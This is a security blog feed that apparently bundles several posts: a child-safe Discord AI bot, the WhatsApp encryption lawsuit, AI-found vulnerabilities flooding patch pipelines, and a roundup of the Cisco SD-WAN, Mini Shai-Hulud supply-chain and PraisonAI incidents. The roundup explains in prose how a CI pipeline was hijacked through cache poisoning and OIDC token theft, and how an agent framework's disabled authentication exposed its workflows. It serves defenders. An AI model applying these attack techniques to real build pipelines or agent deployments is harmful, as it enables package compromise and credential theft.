<p>Every night the bot posts a short notice in an admin channel pointing at the day's summary. It does not dump the report into Discord. The real artifact is that local HTML dashboard, generated on the box and left there for me to pull down. It tracks event volume, surfaces blocked queries and AI errors, and is tuned so that normal questions like "what is a black hole" don't clutter the findings table. Only the things worth a human's attention show up there.</p>
<p>Here's the part I think people skip when they build something like this. A logging system pointed at a shared space full of other people's kids is only defensible if the people in that space know it exists. So I built the disclosure into the server instead of burying it.</p>
<p>There's a <code>#how-to-use-ai</code> channel that tells the kids in plain language that the AI can be wrong, that they shouldn't share private information, that replies are public, that the admin can review activity, and that the bot is not a diary. And there's a <code>#how-it-was-made</code> channel, written for actual thirteen-year-olds, that explains how the thing works -- the stack, the safety choices, even the mistakes -- with small ASCII diagrams and a build loop that ends in "victory snack." The kids who are into coding genuinly liked it. More to the point, nobody in that server is being watched by a system they've never been told about.</p>
<p>If you build something like this for a group that includes other families' children, the adults should be in on it too. Disclosure about what's logged and why belongs at the front of the project, not in a footnote nobody reads.</p>
<h2>What else broke</h2>
<p>The first version of the AI guidance was a wall of text pinned directly into <code>#ask-ai</code>. It made the one channel that's supposed to feel light and usable feel like a terms-of-service page. The fix was to move the long guidance into the read-only <code>#how-to-use-ai</code> channel and leave <code>#ask-ai</code> with a single short pinned note.</p>
<p>The funniest failure was the rename. My early helper scripts targeted the server by its name. Then the kids renamed it -- to something I'm not going to reproduce here -- and every script that looked for the old name fell over instantly. The fix was to target the server's immutable numeric ID instead and keep the name only as a fallback. Names are for humans. Automation should hold onto IDs. After that, the bot was rename-proof.</p>
<p>There was also a quiet deprecation warning in the logs: <code>discord.js</code> flagging that passing <code>ephemeral: true</code> was being replaced by a flags field. I swapped to <code>MessageFlags.Ephemeral</code> and the warning went away. Small, but worth cleaning once the core behavior is stable, because log noise is where real problems hide.</p>
<h2>What I'd tell someone building the same thing</h2>
<p>Structure and permissions come before AI, not after. The bot should almost never need Administrator, and when it does, the move is temporary elevation followed by taking it straight back. Prefer an explicit command over scraping every message. Keep the AI in one visible place. Never set up private bot DMs with a minor. Put a deterministic check in front of the model and don't let a system prompt be your only line of defense. Keep memory small and local. And don't let the AI punish anyone, because it misreads sarcasm, slang, and half-finished jokes, and a false positive on a kid costs you trust you will not easily earn back.</p>
<p>The cloud tradeoff I'll name plainly, because it's the honest weak point. This server uses a hosted model reached over the network, not one running on my own hardware. The provider states that cloud prompts and responses aren't logged or used for training and are processed only long enough to serve the request. I designed around reducing what ever reaches it anyway: the pre-checks, the single-channel limit, the warning not to share private information, and the rule that blocked prompts never leave the box. That reduces exposure. It does not make hosted processing equivalent to keeping everything local, and I'm not going to pretend otherwise.</p>
<h2>The boring conclusion</h2>
<p>Perfect safety is not a thing, especially with teenagers, a chat platform, and an AI in the same room. The goal was narrower and more honest: make a small private server safer, more transparent, and maintainable by one person, without turning it into a surveillance machine or an over-engineered moderation stack.</p>
<p>AutoMod handles the floor. The bot keeps things auditable. Kids can report problems. The AI lives in one visible room and never gets to be the authority. And I stay the final call. The architecture is deliberately dull, and that is exactly why I trust it.</p>
]]></content:encoded></item><item><title><![CDATA[WhatsApp Says No One Can Read Your Messages. A Federal Agent Spent 10 Months Disagreeing.]]></title><description><![CDATA[The Texas lawsuit against Meta isn't really about whether WhatsApp's encryption is broken. It's about whether the label matches the product -- and for the two billion people who trust it with sensitiv]]></description><link>https://blog.theknowngood.com/whatsapp-encryption-label-vs-product</link><guid isPermaLink="true">https://blog.theknowngood.com/whatsapp-encryption-label-vs-product</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[information security]]></category><category><![CDATA[privacy]]></category><category><![CDATA[encryption]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Fri, 22 May 2026 16:10:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/b6f02a1e-1fad-45ff-b800-f90d4d0ca9e2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>The Texas lawsuit against Meta isn't really about whether WhatsApp's encryption is broken. It's about whether the label matches the product -- and for the two billion people who trust it with sensitive communications, that gap has real consequences.</strong></p>
<hr />
<p>Every WhatsApp conversation opens with the same notice: "Messages and calls are end-to-end encrypted. No one outside of this chat, not even WhatsApp, can read or listen to them."</p>
<p>That's a strong claim. It's also technically accurate -- for message content, in transit, between enrolled devices, using a well-reviewed cryptographic protocol. The issue is that "in transit, between enrolled devices" is doing a lot of work in that sentence, and most users have no idea.</p>
<p>On May 21, Texas AG Ken Paxton filed suit against Meta and WhatsApp under the Texas Deceptive Trade Practices Act, alleging the companies misled users about the scope of their privacy protections. The complaint seeks a permanent injunction and up to $10,000 per violation. Meta's response was categorical: "WhatsApp cannot access people's encrypted communications and any suggestion to the contrary is false."</p>
<p>Here's the thing -- both statements can coexist. You can have real encryption in transit and still have a privacy profile that doesn't match what the marketing implies. Working out why requires being precise about what WhatsApp's encryption actually covers, and honest about what it doesn't.</p>
<p>WhatsApp uses the Signal Protocol for message encryption. The cryptographic foundation is genuinely solid -- Double Ratchet algorithm for forward secrecy, Curve25519 for key exchange, AES-256 for message encryption, HMAC-SHA256 for authentication. Researchers from Oxford, Queensland University of Technology, and McMaster University formally analyzed the protocol in 2016 and found it cryptographically sound. That peer review is real and it matters. When you send a message, it is encrypted on your device before it leaves. It is decrypted only on the recipient's device. The Signal Protocol is not the problem.</p>
<p>The problem is everything built around it.</p>
<p><strong>Backups.</strong> By default, when Android users back up WhatsApp to Google Drive or iOS users back up to iCloud, those backups are not protected by WhatsApp's end-to-end encryption. The option exists -- WhatsApp introduced encrypted backup support in 2021, built on a hardware security module-based key vault system -- but it's off by default and buried several layers deep in settings. Most users have never touched it. The practical consequence is that the same message content that's cryptographically protected in transit can be sitting in a cloud backup with no equivalent protection. This has been a known law enforcement access vector for years. Obtaining unencrypted WhatsApp backups from cloud providers is one of the more reliable routes to message content precisely because the encryption that protects messages in motion doesn't follow them into storage. The engineering on the encrypted backup option is solid. Shipping it as opt-in rather than opt-out is the choice that created the expsoure.</p>
<p><strong>Metadata.</strong> WhatsApp's encryption protects message content. It does not protect metadata. WhatsApp's own privacy policy describes what is collected: usage logs including when you last used the service and which features you used, device and connection information including hardware model, operating system, app version, IP address, and mobile network details, and general location inferred from IP address and phone settings. All of it cross-refrenceable with other Meta services. General Michael Hayden, former director of both the NSA and the CIA, said it plainly at a Johns Hopkins debate in 2014: "We kill people based on metadata." Who you contact, at what hour, from what location, and how often tells a story even when the content of those communications is never seen. Calling a messaging platform "encrypted" while it generates this volume of behavioral telemetry is technically defensible. It just isn't the same as private.</p>
<p><strong>The audit gap.</strong> This one needs precise framing because it's easy to state wrong. The Signal Protocol library that WhatsApp uses is open source. It's been reviewed, formally analyzed, found cryptographically sound. The protocol is trustworthy. What is not open to independent verification is WhatsApp's complete implementation of that protocol -- the app code, the server-side infrastructure, the key management systems. Researchers can analyze the published whitepaper and reverse-engineer traffic patterns but they can't audit whether the implementation matches the protocol's guarantees in every respect, whether server-side behaviors create exceptions, or whether the trust model in the documentation reflects what the system actually does. The EFF's Surveillance Self-Defense guide puts it directly: WhatsApp's "closed-source nature makes it difficult for outside experts to confirm that the company has implemented their encryption in a secure way." The uncertainty isn't about the cryptographic protocol. It's about whether the platform built around it does what it says, with no independent way to check.</p>
<p>Then there's the Commerce Department investigation, which is where this gets harder to report cleanly. In April 2026, Bloomberg reported on a ten-month federal investigation inside the Commerce Department's Bureau of Industry and Security. According to Bloomberg -- which reviewed and authenticated the relevant correspondence with multiple recipients -- a BIS special agent circulated a January 16, 2026 email to more than a dozen federal officials summarizing his findings. The agent wrote that Meta "stores and can view WhatsApp messages" and that "there is no limit to the type of WhatsApp message that can be viewed by Meta." He described a "tiered permissions system" in place since at least 2019, with access reportedly extending to employees, contractors, and a significant number of overseas workers. Bloomberg also reported that two individuals who performed content moderation work under contract with Accenture told investigators they had broad access to WhatsApp messages.</p>
<p>Bloomberg stated it had not independently confirmed the agent's underlying claims. The email was preliminary conclusions, not a formal finding or prosecution referral. Shortly after it circulated, the Bureau of Industry and Security publicly disavowed the probe and stated it was not investigating Meta or WhatsApp for export law violations. No public explanation was given for why a ten-month investigation was shut down immediately after the agent tried to coordinate with other agencies. Meta denies everything: "What these individuals claim is not possible because WhatsApp, its employees, and its contractors cannot access people's encrypted communications."</p>
<p>The agent's conclusions aren't proven fact -- Bloomberg said so itself. What can be said accurately is that a federal investigator spent ten months on this, reached preliminary conclusions that directly contradict Meta's marketing, and the investigation was closed before any of it was formally tested or disputed on the record. That's not a verdict. It is a question that didn't get answered.</p>
<p>The Bloomberg reporting on the Accenture contractors is worth being careful about though, because the Paxton lawsuit treats it as evidence of systemic encryption failure and that's not quite right. Every major messaging platform operating at scale has an abuse reporting mechanism. When a user reports a message on WhatsApp, the platform receives that message plus the four preceding it -- five total, including any images or video -- along with associated metadata. Human reviewers, typically contractors, evaluate the flagged content against platform policy. Meta acknowledges this. It's been independently confirmed by ProPublica through interviews with former engineers and reviewers. If Accenture contractors described accessing WhatsApp messages through content moderation workflows, that's consistent with a documented, disclosed mechanism that users engage -- implicitly -- when they or their contacts hit "report." That's not end-to-end encryption failing. It's a consent model that most users don't understand, and there's a real problem in that gap. But it's a different problem than a backdoor.</p>
<p>The open question the investigation didn't resolve is whether that access was strictly bounded to reported content, or whether the permissions system the agent described went further. That's the distinction that matters -- between a moderation workflow and something else -- and the available evidence doesn't settle it.</p>
<p>That unresolved question matters practically for anyone making decisions about communication security for environments where confidentiality is a real requirement -- incident response, legal, HR, executive communications, anything with regulatory sensitivity. The WhatsApp risk profile is now specific enough to state: the Signal Protocol implementation governing message transmission is based on well-reviewed cryptography and there is no credible technical evidence it's broken. Everything surrounding that protocol is a different story. Default backup behavior that routes message content through cloud storage without equivalent protection. Metadata collection at a scale that is disclosed but rarely understood by the people generating it. A closed implementation that can't be independently audited against its own published specifications. And a set of internal access questions that a ten-month federal investigation didn't resolve.</p>
<p>The comparison worth making isn't a brand preference -- it's an architecture question. Signal uses the same underlying cryptographic protocol. The entire Signal codebase is publicly available and has been independently reviewed, including server-side components. Signal has disclosed in legal-process responses that it can provide only an account's creation date and the date of its most recent connection to Signal's servers -- and because the code is open, those claims can be verified rather than taken on trust. No advertising business model creating incentives to expand data collection. The security properties Signal claims are independently verifiable. WhatsApp's cannot. That's the structural difference.</p>
<p>Whether Paxton wins this case is, honestly, beside the point for anyone thinking about security architecture. Courts interpret consumer protection statutes -- they don't produce cryptographic audits, and a settlement or judgment either way won't answer the underlying technical questions. Worth noting the filing landed while Paxton pursues the Republican nomination for U.S. Senate in a heated runoff -- his office has run a sustanied enforcement campaign against major technology companies, with prior settlements from Meta over biometric data collection and from Google over tracking practices, and active cases against Netflix, Snapchat, and TikTok. Whether this particular filing is principled enforcement or political timing, the technical questions it raises were already there.</p>
<p>When a messaging platform markets itself as encrypted and private, does that label need to cover the default backup behavior, the metadata collection, the unauditable implementation, and the unresolved internal access questions? Or does "encrypted" just mean the cryptographic protocol governing message transit is sound?</p>
<p>A lot of people making security decisions right now are assuming the first. WhatsApp's technical architecture delivers the second.</p>
<p>That gap -- between the mental model and the actual system -- is the real problem. It'll still be there when this case is over.</p>
]]></content:encoded></item><item><title><![CDATA[The Patch Queue Is the New Vulnerability]]></title><description><![CDATA[Defenders finally have AI tools powerful enough to find bugs faster than attackers can exploit them. Nobody asked what happens when the patches start arriving faster than teams can deploy them.

In Ap]]></description><link>https://blog.theknowngood.com/patch-queue-vulnerability</link><guid isPermaLink="true">https://blog.theknowngood.com/patch-queue-vulnerability</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[information security]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Mon, 18 May 2026 16:22:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/66bbc1e7-c0d1-44e5-a619-2a5b3a4a2ca6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Defenders finally have AI tools powerful enough to find bugs faster than attackers can exploit them. Nobody asked what happens when the patches start arriving faster than teams can deploy them.</strong></p>
<hr />
<p>In April, Mozilla's Firefox security team shipped 423 bug fixes in a single month. Their monthly average for all of 2025 was about 21. A large share of that difference came from running an agentic AI harness built around Anthropic's Claude Mythos Preview against the Firefox codebase -- Mythos alone identified 271 of the 423 bugs fixed that month.</p>
<p>Some of those bugs were genuinely old. One was a 15-year-old defect in the <code>&lt;legend&gt;</code> element, triggered by a sequence of edge cases spanning recursion stack depth limits, expando properties, and cycle collection. Another was a 20-year-old XSLT vulnerability involving reentrant key() calls that free a hash table's backing store while a raw entry pointer is still in use. These weren't hypothetical issues or static analysis noise. They were real, reproducible security bugs -- some potentially exploitable with enough attacker effort -- that had been sitting in production code for years -- in some cases, most of a developer's entire career.</p>
<p>Mozilla's own engineers captured the experience in a line that stopped me cold: "it's cheap and easy to prompt an LLM to find a 'problem' in code, but slow and expensive to respond to it."</p>
<p>That sentence is the article. That sentence is everything.</p>
<p>The security industry has spent the last several months talking about how AI has inverted the exploit timeline -- how Mandiant's M-Trends 2026 report shows mean time to exploit at an estimated -7 days, meaning attackers are in before patches exist, how the access broker handoff from initial compromise to a secondary threat group has collapsed from over eight hours in 2022 to 22 seconds in 2025. All of that is real and worth taking seriously.</p>
<p>But there's a second inversion happening alongside it that nobody is writing about, and it's the one practitioners are actually going to feel first. The defensive AI tools are working. The bugs are being found. And the patch pipeline -- the humans and processes and maintenance windows and SLAs on the other end -- is about to get hit with a volume of work it was never designed to handle.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/bdfbe07d-4cdb-41f1-8abd-ab166a52585e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>Palo Alto Networks disclosed 75 security vulnerabilities in their May "Patch Wednesday" advisory -- roughly seven times their typical monthly volume. This wasn't an anomaly or a particularly bad month -- it was the result of running frontier AI models against their own codebase for the first time at scale. In the same Patch Tuesday cycle, Microsoft disclosed 16 Windows networking and authentication vulnerabilities found by their new multi-model agentic scanning harness, MDASH, which coordinates over 100 specialized AI agents across an ensemble of frontier and distilled models. Oracle, which has been on a quarterly patching cadence for roughly two decades, announced it was switching to monthly Critical Security Patch Updates starting May 28, explicitly citing AI-accelerated vulnerability discovery as the reason.</p>
<p>Through the first five months of 2026, Microsoft has already patched over 500 CVEs -- a pace that, if it holds, would exceed the annual record of 1,245 set in 2020. And this is with the AI scanning programs still in early deployment.</p>
<p>The industry is celebrating this. The framing is almost uniformly positive: defenders are finally using AI to find bugs before attackers do, the playing field is leveling, the exploit window is closing. Palo Alto's tech chief wrote that "this is the light at the end of the tunnel: a future where software is secure by design." Firefox CTO Bobby Holley declared that "defenders finally have a chance to win, decisively."</p>
<p>I think they're right that the tools work. I'm less sure anyone has thought through the operational consequences for the organizations on the receiving end of all these patches.</p>
<hr />
<p>Consider what the last month actually looked like from a patch management perspective if you run an enterprise environment with meaningful Microsoft, Palo Alto, and Oracle footprint.</p>
<p>Microsoft's May 2026 Patch Tuesday addressed well over 100 vulnerabilities, including CVE-2026-41089, a 9.8-severity Netlogon stack-based buffer overflow that allows unauthenticated remote code execution against domain controllers with no credentials or user interaction required. CVE-2026-41096, also 9.8, is a DNS Client heap-based buffer overflow that runs on essentially every Windows machine and can be triggered by a malicious DNS response. You also have four Word Preview Pane RCEs that can fire without opening an attachment -- just receiving an email is enough. Meanwhile, Palo Alto just disclosed 75 issues across your perimeter security stack, Oracle is pushing its first monthly CSPU on May 28, and the Secure Boot certificate deadline is June 26.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/2b8d88d2-58ef-4192-99d0-d7214949d5b1.png" alt="" style="display:block;margin:0 auto" />

<p>None of those land in the same maintenance window. Each has a different risk profile, a different rollback plan, a different set of downstream systems to test against. A domain controller patch is not the same operational lift as a browser update or a network appliance firmware push. Your DNS infrastructure doesn't patch itself during a Tuesday night window without someone watching it. If you're running Hyper-V hosts with untrusted workloads or multi-tenant VDI, that's a separate track from everything else.</p>
<blockquote>
<p><strong>Note:</strong> The security content in May was actually relatively calm by 2026 standards -- the first zero-day-free Patch Tuesday in roughly two years. Imagine what the month looks like when every major vendor's first AI-assisted full scan lands simultaneously and they're all disclosing at Palo Alto's ratio of 75 vulnerabilities to one initial scan.</p>
</blockquote>
<hr />
<p>Over the course of the response, more than 100 people contributed code to the overall effort. Mozilla described it as "long days" and said "staying on top of this unprecedented volume" took everything the team had. Mozilla is not a small organization. They have experienced browser security engineers, dedicated release infrastructure, and a testing apparatus built over two decades. They still found the volume genuinely hard.</p>
<p>Microsoft's VP of Agentic Security said explicitly that "the durable advantage lies in the agentic system around the model rather than any single model itself." The finding matters, but so does the response pipeline. MDASH is a structured system that ingests code, builds a threat model, runs auditor agents over candidate paths, runs debater agents to validate findings, deduplicates, generates proof-of-concept exploits, and hands off to engineers. The harness is the product. The model is one input.</p>
<p>What that means operationally is that the organizations getting safer right now are the ones that built the full pipeline -- the harness, the validation layer, the triage capacity, the engineering bandwidth to actually fix what the scan finds. Mozilla deployed 100+ engineers. Microsoft built 100+ agents backed by an entire Autonomous Code Security team. Palo Alto is explicitly running a multimodel approach across Mythos, Opus 4.7, and GPT-5.5-Cyber because each model catches things the others miss.</p>
<p>The patch volume those organizations generate flows downstream to every organization running their software. But the scanning capacity -- the ability to find your own bugs before someone else does -- doesn't flow downstream automatically. It requires building the same kind of pipeline, which requires engineering investment that the largest vendors have and most of their customers don't.</p>
<hr />
<p>This is the part of the story that hasn't been written clearly. The first-mover vendors are hardening fast. The long tail is not.</p>
<p>There are thousands of software vendors whose products run somewhere in your environment -- middleware, monitoring tools, VPN clients, backup agents, authentication libraries, embedded system firmware -- that are not in the Project Glasswing program and are not running MDASH and have not yet pointed a frontier AI model at their codebase. Their bugs are in the same state they've always been in. The difference is that the attack side of this equation is also evolving, and the tools that make Mozilla's engineers say "vertigo" when they see the findings are the same tools that will eventually reach a broader audience.</p>
<p>The large vendor hardening actually sharpens the relative exposure of the long tail. When Microsoft's networking stack and Palo Alto's firewall products become measurably more secure through AI-assisted scanning, the softer targets become more attractive. That's not a hypothetical -- it's how adversarial optimization works. You go where the resistance is lowest.</p>
<hr />
<p>The "three-to-five-month window" warning from Palo Alto is real. But most organizations seem to be interpreting it as a call to start scanning their own code, which is correct but incomplete. The more immediate operational question is: what does your patch management program look like when vendor CVE volume starts multiplying across your entire software footprint?</p>
<p>Your SLA probably says critical CVEs get deployed within 30 days. That was written for a world where Palo Alto's monthly disclosure was a fraction of what a single AI-assisted scan just produced. Where Microsoft averaged three to four zero-days per month but otherwise kept the non-exploited critical count manageable. Where Oracle's quarterly CPU was a known, planned event that your team could absorb on a predictable schedule.</p>
<p>The answer to a 5x increase in patch volume isn't working five times as many hours. It's building the prioritization discipline to accurately separate what needs emergency treatment from what can run through steady-state process -- and making sure your emergency lane doesn't flood every time a major vendor's AI scanner wakes up. That also means starting to ask your vendors different questions: do you have an AI-assisted scanning program? What is your current CVE disclosure cadence, and do you expect it to change? A vendor that can show you a pipeline and a cadence that reflects what AI scanning actually finds is a measurably different risk profile from one whose quarterly patch release contains the same handful of CVEs it always has.</p>
<hr />
<p>Mozilla's engineers said defenders can "finally find them all" -- and I believe the capability exists. But finding them all and fixing them all are different problems on different timelines with different resource requirements. The finding side just got dramatically faster. The fixing side is still running on the same human-hours and maintenance windows and change management processes it always has.</p>
<p>That asymmetry is the actual vulnerability right now. Not the exploits themselves, but the gap between the rate at which AI is surfacing them and the rate at which the organizations affected can absorb and act on what gets found.</p>
<p>The patch queue is the new vulnerability. And so far, almost no one is treating it that way.</p>
]]></content:encoded></item><item><title><![CDATA[The Week the Toolchain Became the Kill Chain]]></title><description><![CDATA[There's a version of threat intelligence coverage that treats each incident as its own discrete event. Breach here, CVE there, ransom demand somewhere else. Triage them, patch them, move on. I've read]]></description><link>https://blog.theknowngood.com/the-week-the-toolchain-became-the-kill-chain</link><guid isPermaLink="true">https://blog.theknowngood.com/the-week-the-toolchain-became-the-kill-chain</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Devops]]></category><category><![CDATA[AI]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Sun, 17 May 2026 16:38:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/6f5687af-4e67-4fad-81ad-fdea54e4404f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There's a version of threat intelligence coverage that treats each incident as its own discrete event. Breach here, CVE there, ransom demand somewhere else. Triage them, patch them, move on. I've read enough of those roundups to know they're useful and kind of exhausting at the same time.</p>
<p>This week wasn't like that. Three things happened in roughly five days that felt less like independent incidents and more like the same argument being made from different angles. Cisco SD-WAN under active exploitation by a persistent, sophisticated threat actor. A supply chain worm that defeated cryptographic provenance controls and compromised 172 packages across npm and PyPI, including Mistral AI SDK packages and the @tanstack namespace. And a multi-agent AI framework that shipped with authentication hard-coded to disabled and got scanned within four hours of its CVE going public.</p>
<p>None of these are endpoint attacks. None of them required phishing an employee or brute-forcing a login. What they share is that they all hit the layer your organization implicitly trusts: the network control fabric, the software supply chain, the AI orchestration platform. The plumbing, basically. And nobody was watching the plumbing.</p>
<hr />
<h2>The SD-WAN Control Plane Is Not a Backwater</h2>
<p>Let me start with the Cisco story, because I think it's the one most likely to get quietly deprioritized by teams who see "CISA KEV addition" and drop it into the patch queue for next Tuesday.</p>
<p>Don't do that.</p>
<p>CVE-2026-20182 is a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller and Manager. The flaw lives in the control connection handshake, the process by which SD-WAN devices establish trust with each other. An unauthenticated remote attacker sends crafted requests that exploit a validation failure in that handshake and walks out the other side as an authenticated peer with administrative privileges. No credentials needed. No social engineering required. Just a broken assumption about how trust gets established at the protocol level.</p>
<p>CISA added it to the KEV catalog on May 14, reinforcing Emergency Directive 26-03 -- a directive CISA originally issued in February in response to active exploitation targeting Cisco SD-WAN systems -- and giving federal civilian agencies until May 17 to remediate. That's a 72-hour window. CISA reserves Emergency Directives for situations where the standard KEV remediation process isn't moving fast enough -- issuing one signals the agency assessed active exploitation as an immediate operational risk, not a scheduled patch item. When CISA reaches for that mechanism, the message is not subtle.</p>
<p>What makes this more than a patching story is who's been exploiting it and for how long. Cisco Talos attributes active exploitation to a threat actor designated UAT-8616, a sophisticated cluster that's been targeting Cisco SD-WAN infrastructure since at least 2023. This isnt opportunistic scanning by a script kid who found a PoC on GitHub. UAT-8616 used CVE-2026-20182 alongside four other SD-WAN CVEs as part of a coordinated campaign, and their post-compromise playbook is methodical: SSH key injection, NETCONF configuration manipulation across the entire SD-WAN fabric, malicious account creation, extensive log clearing. They also leveraged a software version downgrade technique to chain an older vulnerability for root escalation. Their infrastructure overlaps with Operational Relay Box networks, which is how serious actors build resilient, hard-to-attribute command and control.</p>
<p>Here's the thing about SD-WAN that I keep coming back to: when you compromise an SD-WAN controller, you're not compromising a single device. You're compromising policy distribution across the entire fabric. You don't own a box, you own the blueprint. Everything downstream is yours to reconfigure.</p>
<p>There are multiple CVEs tied to this campaign. CISA has confirmed at least CVE-2026-20127, CVE-2026-20133, and CVE-2026-20182 in its KEV catalog, with additional vulnerabilities referenced throughout ED 26-03 guidance. If your organization runs Cisco Catalyst SD-WAN and hasn't gone through the hunt and hardening guidance CISA published alongside that directive, that's the starting point right now.</p>
<hr />
<h2>The Supply Chain Ate Itself</h2>
<p>The Mini Shai-Hulud story is the one I couldn't stop digging into this week, and the more I read the worse it got.</p>
<p>On May 11, threat actor TeamPCP launched a coordinated attack across npm and PyPI. Over 48 hours they compromised 172 unique packages across 403 malicious versions, including the entire @tanstack namespace, Mistral AI's official TypeScript and Python SDKs, UiPath's automation tooling, OpenSearch, and Guardrails AI -- figures reported across multiple security researchers and advisories. @tanstack/react-router alone had over 12 million weekly downloads at the time of the attack. The affected packages collectively represent more than 518 million cumulative downloads.</p>
<p>But the scale isn't even the most important part. The technique is.</p>
<p>TeamPCP didn't steal credentials to push malicious packages. They hijacked TanStack's legitimate release pipeline and used its own trusted identity to publish. The attack chained three separate weaknesses: a pull_request_target "Pwn Request" misconfiguration that let fork-controlled code run in a privileged workflow context, GitHub Actions cache poisoning across the fork and base trust boundary, and runtime memory extraction of an OIDC token from the Actions runner process. When TanStack's legitimate release workflow ran, it restored a poisoned cache. The injected code read the runner's process memory to extract the ambient OIDC token, and 84 malicious package versions were published in two batches, six minutes apart, using the legitimate GitHub Actions publisher identity.</p>
<p>The published packages carried valid SLSA provenance, a cryptographic certificate generated by Sigstore that's specifically designed to verify a package was built from a trusted source. The packages had the right signatures, from the right identity, through the right pipeline, because the pipeline itself was compromised. The trust signal you were relying on was accurate, the thing behind the signal was not.</p>
<p>The PyPI side of the campaign used a different delivery mechanism. The mistralai 2.4.6 payload appended a 13-line backdoor to <code>__init__.py</code> that fired on import, downloading a second-stage payload from a hardcoded IP using curl with TLS verification disabled. PyPI quarantined the entire mistralai project. Any environment that imported mistralai during the attack window should be treated as potentially compromised regardless of how the install ran, because the payload fires on import, not on install.</p>
<p>If this pattern feels familiar, it should. When I wrote about the Instructure Canvas breach a few weeks back, the central problem was a trusted SaaS platform becoming the pivot point into thousands of downstream institutions. Mini Shai-Hulud is the same structural failure one layer deeper: it's not the application being compromised, it's the tooling that builds the application. TeamPCP is specifically targeting the places developers trust without thinking about it, because those are the places that aren't governed.</p>
<p>For anyone whose environments ran affected packages on May 11 or 12: rotate everything. npm tokens, GitHub tokens, cloud credentials across AWS, GCP, and Azure, Kubernetes service account tokens, HashiCorp Vault tokens, and deployment secrets. Don't stop at npm tokens. If the runner touched it, treat it as burned. The malware specifically targeted password vaults including 1Password and Bitwarden, which is an escalation from previous TeamPCP waves.</p>
<hr />
<h2>The Agentic AI Attack Surface Is Here and Nobody's Ready for It</h2>
<p>The PraisonAI story is smaller in scale and more important in what it signals.</p>
<p>PraisonAI is an open-source multi-agent orchestration framework with roughly 7,000 GitHub stars at the time of reporting. Not a major enterprise platform, not a household name. CVE-2026-44338 is a missing authentication flaw in a legacy Flask API server that ships with <code>AUTH_ENABLED = False</code> and <code>AUTH_TOKEN = None</code> hard-coded into the codebase. The authentication check returns True whenever authentication is disabled, so two "protected" routes fail completely open: GET /agents returns all configured agent metadata, and POST /chat executes the entire configured workflow for any caller who sends a JSON body with a message key. The submitted message value is ignored. Whatever your agents.yaml is configured to do, any unauthenticated caller can trigger it.</p>
<p>That's an embarrassing default for any software in 2026, let alone an agentic AI framework. But the disclosure story is what actually matters here.</p>
<p>Sysdig's threat research team observed a scanner, identifying itself as CVE-Detector/1.0, probing the exact vulnerable endpoint on internet-exposed instances within three hours and 44 minutes of the advisory going public. On a project with roughly 7,000 stars. The scanner didn't need to understand what the agent did or what permissions it had. It just needed the authentication check to fail open, and then it moved on to the next target.</p>
<p>The implications are uncomfortable. Any AI agent deployment you have running, whether its PraisonAI or something else, that has an authentication default you haven't explicitly verified, that binds to 0.0.0.0 rather than localhost, that nobody has assessed for what an unauthenticated workflow trigger actually does in your environment: that's exposure waiting to be found. The blast radius isn't arbitrary code execution in the traditional sense. The blast radius is whatever permissions you gave the agent. In production that typically means LLM provider access, code interpreters, shell execution, file I/O, and API integrations with everything the agent was deployed to touch.</p>
<p>I've written before about handing Claude Code the keys to a fresh VM and watching what breaks. What's been become clear watching this week unfold is that the security community hasn't caught up to where AI deployment already is. Agentic frameworks are in production, executing tasks, consuming credentials, and taking actions, most often without meaningful security oversight or even a basic inventory. CVE-2026-44338 is small on its own. As evidence that adversary tooling is already scanning specifically for exposed AI agent surfaces, and doing so in single-digit hours after disclosure, it's a data point that should change how you think about your agentic AI posture.</p>
<hr />
<h2>The Pattern</h2>
<p>None of this week's incidents required compromising an endpoint. UAT-8616 didn't need a foothold on a developer's laptop to reconfigure the SD-WAN fabric. TeamPCP didn't need to phish a TanStack maintainer, they went around them through the pipeline. The PraisonAI scanner didn't need to understand the agent's configuration, it just needed the auth check to fail.</p>
<p>What connects them is that each attack targeted a layer of infrastructure that organizations trust deeply and govern badly. The network control plane. The software supply chain. The AI orchestration layer. These are the systems that run everything else. When defenders are focused on endpoint telemetry and perimeter controls, these surfaces are already exposed and increasingly well understood by the people who want to use them.</p>
<p>TeamPCP has been developing this worm infrastructure across multiple campaign waves since late 2025. UAT-8616 has been working Cisco SD-WAN vulnerabilities since at least 2023. The PraisonAI scanner found a fresh CVE in under four hours because it was already running, already looking, already optimized for the AI agent surface specifically.</p>
<p>None of this is new in the sense of being unprecedented. What's new is the speed, the tooling, the scale, and the fact that the AI layer is now firmly in scope. The toolchain is the kill chain. If your organization isn't governing it with the same rigor you apply to production systems -- and in a lot of organizations, that's a significant if -- this week is a reasonable illustration of what that gap looks like when someone decides to use it.</p>
